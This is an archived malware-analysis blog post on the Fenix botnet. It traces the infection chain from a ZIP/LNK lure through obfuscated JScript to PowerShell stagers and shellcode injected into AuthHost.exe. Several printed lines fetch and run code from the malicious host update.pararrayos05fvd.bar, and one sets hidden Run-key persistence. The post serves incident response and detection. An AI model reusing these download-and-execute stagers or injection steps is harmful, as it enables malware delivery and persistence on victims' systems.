{
	"id": "00b2d9e4-e5dc-455f-b902-9e7039fa05a0",
	"created_at": "2026-04-06T00:21:05.30973Z",
	"updated_at": "2026-04-10T13:12:08.150473Z",
	"deleted_at": null,
	"sha1_hash": "72a2a782d467ef8ef7e99d482282b5f5674b8674",
	"title": "Botnet Fenix",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2738736,
	"plain_text": "Botnet Fenix\r\nPublished: 2024-08-22 · Archived: 2026-04-05 17:22:42 UTC\r\nIntroduction\r\nTo improve my rusty reverse-engineering skills, I’m going to analyze various malware samples that have come up\r\nin our incident response cases in loose succession. The first sample belongs to the Fenix botnet (sample here).\r\nIn this post, we analyze a sophisticated malware infection chain that begins with a user downloading a ZIP file\r\nfrom a Dropbox link and culminates in the execution of a malicious shellcode.\r\nFirst Stage\r\nThe infection chain begins when the user downloads a ZIP file from Dropbox using the Edge browser.\r\nFilename: ComplementoSATid.zip.\r\nHash: 70be0d4dd7ac04b699c7e035ead0e83941fc70906e6aa00384986b41f3ecbdee\r\nUnfortunately, in our case, it was not possible to pinpoint the exact vector of how the user was lured to download\r\nthe ZIP file. There is a comprehensive report about Fenix from Metabase, that goes into detail about one infection\r\nvector they witnessed.\r\nInside the ZIP file was an LNK file:\r\nFilename: ComplementoSATid.lnk\r\nHash: 39641c701ce212fcae56e74cc46a00dc60a64ab4f9f27690e123e7e4109b3b6a\r\nThe LNK file is responsible for executing a JSE script from a remote location, utilising wscript along the process:\r\nwscript.exe\" \"\\\\193.149.190.150\\vWa\\rfc.jse\r\nFilename: rfc.jse\r\nHash: dcb647433c3f58a8406711da3e143dbb1fc4ee4e1cd436ce1ae5ff972d5a6a55\r\nFollowing the truncated content of the rfc.jse file:\r\n(function(){\r\nvar CpakkbmmDHWkt = \"f\"\r\nvar JsysWjjRMesqV = \"u\"\r\nvar TTwRJKJjyWjKa = \"n\"\r\n[..]\r\nvar AgEiMjqLYdwzo = \")\"\r\nvar OYXIkllYIhixA = \"%3B\"\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 1 of 11\n\nvar BUVfoxLAsCXqU = \"%7D\"\r\nvar MlueKUrTONhlBYgGdDIH = '' + CpakkbmmDHWkt + JsysWjjRMesqV + TTwRJKJjyWjKa + lqRRKQiVezAwN + FywmLsjFTMnvC +\r\nnew Function(decodeURIComponent(MlueKUrTONhlBYgGdDIH)).call()\r\nVarious variables are declared first and a defined value is assigned to the variables. Finally, all variables are\r\nmerged into the variable “MlueKUrTONhlBYgGdDIH” (CpakkbmmDHWkt + JsysWjjRMesqV +\r\nTTwRJKJjyWjKa etc.). At the bottom of the line, we see the following line:\r\nnew Function(decodeURIComponent(MlueKUrTONhlBYgGdDIH)).call()\r\nThe variable MlueKUrTONhlBYgGdDIH, which now contains all the values of the previously initialized\r\nvariables, is passed to the decodeURIComponent function, which is then also started (by executing call()). We\r\nreplace this line with the line below, and get two new functions (see below) out of this process:\r\nconsole.log(decodeURIComponent(MlueKUrTONhlBYgGdDIH))\r\nfunction _0x3eb2\r\nfunction _0x3eb2(_0x4710fe, _0x305d67) {\r\n var _0x3dc770 = _0x3ed3();\r\n return _0x3eb2 = function(_0x5baf5f, _0x4eaf26) {\r\n _0x5baf5f = _0x5baf5f - (0x7 * 0x257 + -0x5a6 + 0xa57 * -0x1);\r\n var _0x3c6efd = _0x3dc770[_0x5baf5f];\r\n return _0x3c6efd;\r\n }, _0x3eb2(_0x4710fe, _0x305d67);\r\n}(function(_0x1bc2b7, _0x338e90) {\r\n var _0x36262c = _0x3eb2,\r\n _0x3f67bc = _0x1bc2b7();\r\n while (!![]) {\r\n try {\r\n var _0xb5f1bf = -parseInt(_0x36262c(0x83)) / (0x33b + -0x1c7 * -0xf + -0x1de3) * (parseInt(_0x36262c\r\n if (_0xb5f1bf === _0x338e90) break;\r\n else _0x3f67bc['push'](_0x3f67bc['shift']());\r\n } catch (_0x20525c) {\r\n _0x3f67bc['push'](_0x3f67bc['shift']());\r\n }\r\n }\r\n}(_0x3ed3, 0x17f6bf + 0x10bdae + -0x1a41b5), (function() {\r\n var _0x1f23f6 = _0x3eb2,\r\n _0xfe1844 = {\r\n 'FGEQV': _0x1f23f6(0x7b) + '3',\r\n 'EvXLb': _0x1f23f6(0x79) + _0x1f23f6(0x89) + _0x1f23f6(0x70),\r\n 'MPdLc': _0x1f23f6(0x6d),\r\n 'htzAP': _0x1f23f6(0x68) + _0x1f23f6(0x7c) + _0x1f23f6(0x82) + _0x1f23f6(0x67) + _0x1f23f6(0x78) + _\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 2 of 11\n\n'KjIpR': _0x1f23f6(0x88) + _0x1f23f6(0x87),\r\n 'SQnEJ': function(_0x344ada, _0x551a86) {\r\n return _0x344ada + _0x551a86;\r\n },\r\n 'mqWEa': _0x1f23f6(0x64),\r\n 'vNiuV': _0x1f23f6(0x7a),\r\n 'PNbxJ': _0x1f23f6(0x6b) + _0x1f23f6(0x6e)\r\n },\r\n _0x385aa2 = _0xfe1844[_0x1f23f6(0x7d)][_0x1f23f6(0x6f)]('|'),\r\n _0x400141 = 0x48b * 0x3 + 0xdaa + -0x1b4b;\r\n while (!![]) {\r\n switch (_0x385aa2[_0x400141++]) {\r\n case '0':\r\n var _0x15e0e2 = new ActiveXObject(_0xfe1844[_0x1f23f6(0x7e)]);\r\n continue;\r\n case '1':\r\n _0x15e0e2[_0x1f23f6(0x77)];\r\n continue;\r\n case '2':\r\n _0x15e0e2[_0x1f23f6(0x7a)](_0xfe1844[_0x1f23f6(0x8b)], _0xfe1844[_0x1f23f6(0x65)], ![]);\r\n continue;\r\n case '3':\r\n _0x341166[_0x1f23f6(0x74) + 'te'](_0xfe1844[_0x1f23f6(0x86)], _0xfe1844[_0x1f23f6(0x6c)](_0xfe18\r\n continue;\r\n case '4':\r\n var _0x275cd4 = _0x15e0e2[_0x1f23f6(0x8a) + 'xt'];\r\n continue;\r\n case '5':\r\n var _0x341166 = new ActiveXObject(_0xfe1844[_0x1f23f6(0x69)]);\r\n continue;\r\n }\r\n break;\r\n }\r\n}()));\r\nfunction _0x3ed3()\r\nfunction _0x3ed3() {\r\n var _0x4a2a1d = ['responseTe', 'MPdLc', '\\x20-c\\x20', 'htzAP',\r\n '1059384YPCCzx', '.bar/WgxVd', 'https://up', 'PNbxJ', '229932MPRnvV',\r\n 'Shell.Appl', 'SQnEJ', 'GET', 'ication', 'split', '.6.0', '.php',\r\n '480YTGPtl', '3120741MOSfKa', 'ShellExecu', '46051260TersWW',\r\n 'vNiuV', 'send', 'pw67n/load', 'Msxml2.Ser',\r\n 'open', '0|2|1|4|5|', 'date.parar', 'FGEQV',\r\n 'EvXLb', '14360409ypCHVY', '65121IIZvDr', '5fzKzZt',\r\n 'rayos05fvd', '1FbkTMr', '3399334TLPgxY', 'mqWEa',\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 3 of 11\n\n'KjIpR', '.exe', 'powershell', 'verXMLHTTP'];\r\n _0x3ed3 = function() {\r\n return _0x4a2a1d;\r\n };\r\n return _0x3ed3();\r\n}\r\nTo deobfuscate the provided JavaScript functions, we need to replace the obfuscated parts with their actual values\r\nand understand the logic behind the code. The function “_0x3eb2” is used to map obfuscated indices to their\r\ncorresponding strings in an array returned by “_0x3ed3()”. The array “_0x3ed3” contains the actual strings used in\r\nthe script. We need to map each obfuscated index to its corresponding string. Next, we need to replace the calls to\r\n“_0x3eb2” with the actual strings from the array.\r\n(function() {\r\n var _0x1f23f6 = _0x3eb2,\r\n _0xfe1844 = {\r\n 'FGEQV': 'https://up.pw67n/load.bar/WgxVd',\r\n 'EvXLb': 'Msxml2.ServerXMLHTTP.6.0',\r\n 'MPdLc': 'powershell.exe',\r\n 'htzAP': 'powershell -c ',\r\n 'KjIpR': 'ShellExecute',\r\n 'SQnEJ': function(a, b) { return a + b; },\r\n 'mqWEa': 'application',\r\n 'vNiuV': 'send',\r\n 'PNbxJ': 'Shell.Application'\r\n },\r\n _0x385aa2 = '0|2|1|4|5|3'.split('|'),\r\n _0x400141 = 0;\r\n while (true) {\r\n switch (_0x385aa2[_0x400141++]) {\r\n case '0':\r\n var _0x15e0e2 = new ActiveXObject(_0xfe1844['EvXLb']);\r\n continue;\r\n case '1':\r\n _0x15e0e2.send();\r\n continue;\r\n case '2':\r\n _0x15e0e2.open('GET', _0xfe1844['FGEQV'], false);\r\n continue;\r\n case '3':\r\n _0x341166.ShellExecute('cmd', _0xfe1844.SQnEJ(_0xfe1844['htzAP'], _0x275cd4), '', 'open', 0);\r\n continue;\r\n case '4':\r\n var _0x275cd4 = _0x15e0e2.responseText;\r\n continue;\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 4 of 11\n\ncase '5':\r\n var _0x341166 = new ActiveXObject(_0xfe1844['PNbxJ']);\r\n continue;\r\n }\r\n break;\r\n }\r\n})();\r\nThe script is designed to download a file from “hxxps://up.pw67n/load.bar/WgxVd” utilising\r\n“Msxml2.ServerXMLHTTP.6.0” to send an HTTP GET request. The response text is stored in “_0x275cd4”,\r\nwhich is later executed.\r\nSecond Stage\r\nThe GET request to “load.php” delivers the following PowerShell code (MD5:\r\na406bbe8a344013c81cba76b3c1875d9650e03fb3412118e07facbc49d406ab4)\r\n$bytes = (Invoke-WebRequest \"https://update.pararrayos05fvd.bar/WgxVdpw67n/xls.php\" -UseBasicParsing).Content\r\n$assembly = [System.Reflection.Assembly]::Load($bytes)\r\n$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq \"Program\" }, \"First\").GetMethod(\"Main\", [Reflection\r\n$entryPointMethod.Invoke($null, $null)\r\nAdd-Type -AssemblyName System.Windows.Forms\r\n[System.Windows.Forms.MessageBox]::Show('Esta factura fue enviada a usted por error favor de hacer caso omiso','\r\nThe PowerShell script above downloads a .NET executable from a remote URL (update.pararrayos05fvd.bar) and\r\nexecutes the Main method (the initial entry point) of the executable.\r\nAfter executing the PowerShell code, the script displays a message box to the user, indicating an error. This could\r\nbe a distraction tactic to divert attention from the malicious activity.\r\n[System.Windows.Forms.MessageBox]::Show\r\n('Esta factura fue enviada a usted por error favor de hacer caso omiso','Error','OK','error')\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 5 of 11\n\nFigure 1: Error Message\r\nShellcode\r\nFilename: uiH.xls\r\nHash: efa676feeaa65665740c56cd5ae2805faaafb817bde207d7caafde83090abc0d\r\nThanks to PEStudio, we know that it is a .NET x64 file:\r\nFigure 2: PEStudio\r\n.NET malware can be analyzed relatively easily with dnSpy.\r\nFigure 3: Main function within dnSpy\r\nThe code depicted in Figure 3 demonstrates how to create and manipulate a suspended process in Windows, inject\r\ncode into it, and then execute that code.\r\nCreateProcess: It starts the AuthHost.exe process in a suspended state, meaning the process is created but\r\nnot yet running.\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 6 of 11\n\nVirtualAllocEx: Allocates memory in the newly created process.\r\nWriteProcessMemory: Writes an array of bytes (which could represent malicious code) into the allocated\r\nmemory.\r\nQueueUserAPC: Queues the execution of the injected code to the main thread of the suspended process.\r\nResumeThread: Resumes the thread, causing the injected code to execute.\r\nFigure 4: Shellcode Array\r\nThe shellcode array is in ASCII characters instead of the more common hex notation. Before the conversion,\r\nhowever, we need to clean up a little. In .NET, Byte.MaxValue is a constant that represents the maximum value\r\nthat a byte data type can hold. Since a byte is an 8-bit unsigned integer, the value of Byte.MaxValue is 255.\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 7 of 11\n\nFigure 5: byte.MaxValue\r\nWe can convert the ASCII characters back into readable characters using the CyberChef recipe “From Charcode”.\r\nAfter deleting spaces etc. we can already see the first IOC (“update.pararrayos05fvd.bar”).\r\nFigure 6: Converting the Shellcode with CyberChef\r\nAs we now have converted the ASCII with CyberChef, the next thing we want to do is to emulate the shellcode in\r\na controlled environment. To learn more about the shellcode, the exact network connections and API calls that\r\nprogrammed into the shellcode. For this task, we use Speakeasy from Mandiant: Speakeasy is a portable, modular,\r\nbinary emulator designed to emulate Windows kernel and user-mode malware.\r\nFigure 7: Utilizing the SpeakEasy Shellcode Emulation Framework\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 8 of 11\n\nAfter following the installation instructions, we can emulate the shellcode with the following command\r\n# speakeasy -t /tmp/shellcode.bin -r -a x64\r\nAnd get the following output:\r\n* exec: shellcode\r\n0x13cd: 'kernel32.LoadLibraryA(\"wininet.dll\")' -\u003e 0x7bc00000\r\n0x13dd: 'kernel32.GetProcAddress(0x77f10000, \"printf\")' -\u003e 0xfeee0000\r\n0x13ef: 'kernel32.GetProcAddress(0x7bc00000, \"InternetOpenA\")' -\u003e 0xfeee0001\r\n0x13ff: 'kernel32.GetProcAddress(0x7bc00000, \"InternetConnectA\")' -\u003e 0xfeee0002\r\n0x140f: 'kernel32.GetProcAddress(0x7bc00000, \"HttpOpenRequestA\")' -\u003e 0xfeee0003\r\n0x141f: 'kernel32.GetProcAddress(0x7bc00000, \"HttpSendRequestA\")' -\u003e 0xfeee0004\r\n0x1434: 'kernel32.GetProcAddress(0x7bc00000, \"HttpQueryInfoA\")' -\u003e 0xfeee0005\r\n0x1446: 'kernel32.GetProcAddress(0x77000000, \"HeapAlloc\")' -\u003e 0xfeee0006\r\n0x1456: 'kernel32.GetProcAddress(0x7bc00000, \"InternetReadFile\")' -\u003e 0xfeee0007\r\n0x1468: 'kernel32.GetProcAddress(0x77000000, \"VirtualAlloc\")' -\u003e 0xfeee0008\r\n0x147a: 'kernel32.GetProcAddress(0x77000000, \"GetNativeSystemInfo\")' -\u003e 0xfeee0009\r\n0x1487: 'kernel32.GetProcAddress(0x77000000, \"GetCurrentProcess\")' -\u003e 0xfeee000a\r\n0x149c: 'kernel32.GetProcAddress(0x77000000, \"ReadProcessMemory\")' -\u003e 0xfeee000b\r\n0x14b1: 'kernel32.GetProcAddress(0x77000000, \"HeapFree\")' -\u003e 0xfeee000c\r\n0x14be: 'kernel32.GetProcAddress(0x77000000, \"GetProcessHeap\")' -\u003e 0xfeee000d\r\n0x14ce: 'kernel32.GetProcAddress(0x7bc00000, \"InternetCloseHandle\")' -\u003e 0xfeee000e\r\n0x14e5: 'kernel32.GetProcAddress(0x77000000, \"Sleep\")' -\u003e 0xfeee000f\r\n0x1511: 'wininet.InternetOpenA(\"W\", 0x0, 0x0, 0x0, 0x0)' -\u003e 0x20\r\n0x156a: 'wininet.InternetConnectA(0x20, \"update.pararrayos05fvd.bar\", 0x50, 0x0, 0x0, 0x3, 0x0, 0x0)' -\u003e 0x24\r\n0x15b6: 'wininet.HttpOpenRequestA(0x24, \"GET\", \"WgxVdpw67n/9eI3Ej.xls\", 0x0, 0x0, 0x0, \"INTERNET_FLAG_RELOAD\", 0\r\n0x15d5: 'wininet.HttpSendRequestA(0x28, 0x0, 0x0, 0x0, 0x0)' -\u003e 0x1\r\n0x1607: 'wininet.HttpQueryInfoA(0x28, 0x20000005, 0x1203d80, 0x1203d84, 0x0)' -\u003e 0x0\r\n* Finished emulating\r\nDynamic Analysis\r\nThe DLL could also be analyzed dynamically (i.e. started) to obtain more information about the shellcode. Instead\r\nof starting the DLL with rundll32, one can also use PowerShell to load a DLL into the memory and then execute\r\nit:\r\n$bytes = [System.IO.File]::ReadAllByte\r\n(\"C:\\Users\\malmoeb\\Desktop\\efa676feeaa65665740c56cd5ae2805faaafb817bde207d7caafde83090abc0d.dll\")\r\n$assembly = [System.Reflection.Assembly]::Load($bytes)\r\n$entryPointMethod =\r\n$assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 9 of 11\n\nGetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')\r\n$entryPointMethod.Invoke($null, $null)\r\nFigure 7: Loading the DLL with PowerShell\r\nAnd we see the process creation of a new AuthHost.exe process, followed by a DNS query for\r\nupdate.pararrayos05fvd.bar, a domain we also identified as malicious through the emulation of the shellcode.\r\nProcess Create:\r\nImage: C:\\Windows\\System32\\AuthHost.exe\r\nCommandLine: \"C:\\Windows\\System32\\AuthHost.exe\"\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe\r\nDNS query:\r\nQueryName: update.pararrayos05fvd.bar\r\nThis dynamic analysis of the DLL provides less detail than the static analysis with dnSpy and with Speakeasy,\r\nwhich is why combining static and dynamic analysis achieves the best analysis results in many cases.\r\nPersistence\r\nThe shellcode downloads the file “WgxVdpw67n/9eI3Ej.xls” and sets up a persistence on the host by changing\r\nthe following registry value: \\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\r\npowershell -WindowStyle hidden \"\u0026{Start-Sleep 5;$bytes = (Invoke-WebRequest 'https://update.pararrayos05fvd[.]b\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 10 of 11\n\nAnd the content of ek9uVF3mxs.txt:\r\n$bytes = (Invoke-WebRequest \"https://update.pararrayos05fvd.bar/WgxVdpw67n/uiH.xls\" -UseBasicParsing).Content\r\n$assembly = [System.Reflection.Assembly]::Load($bytes)\r\n$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq \"Program\" }, \"First\").GetMethod(\"Main\", [Reflection\r\n$entryPointMethod.Invoke($null, $null)\r\nWhich is the .NET executable we analyzed before :)\r\nThere is moar\r\nAccording to the report about Fenix from Metabase, the infected machine would now periodically ask the botnet\r\nfor new tasks and execute them on the infected host. However, we could not fetch this data during our initial\r\nanalysis of this incident.\r\nSource: https://dfir.ch/posts/botnex_fenix/\r\nhttps://dfir.ch/posts/botnex_fenix/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://dfir.ch/posts/botnex_fenix/"
	],
	"report_names": [
		"botnex_fenix"
	],
	"threat_actors": [],
	"ts_created_at": 1775434865,
	"ts_updated_at": 1775826728,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/72a2a782d467ef8ef7e99d482282b5f5674b8674.pdf",
		"text": "https://archive.orkl.eu/72a2a782d467ef8ef7e99d482282b5f5674b8674.txt",
		"img": "https://archive.orkl.eu/72a2a782d467ef8ef7e99d482282b5f5674b8674.jpg"
	}
}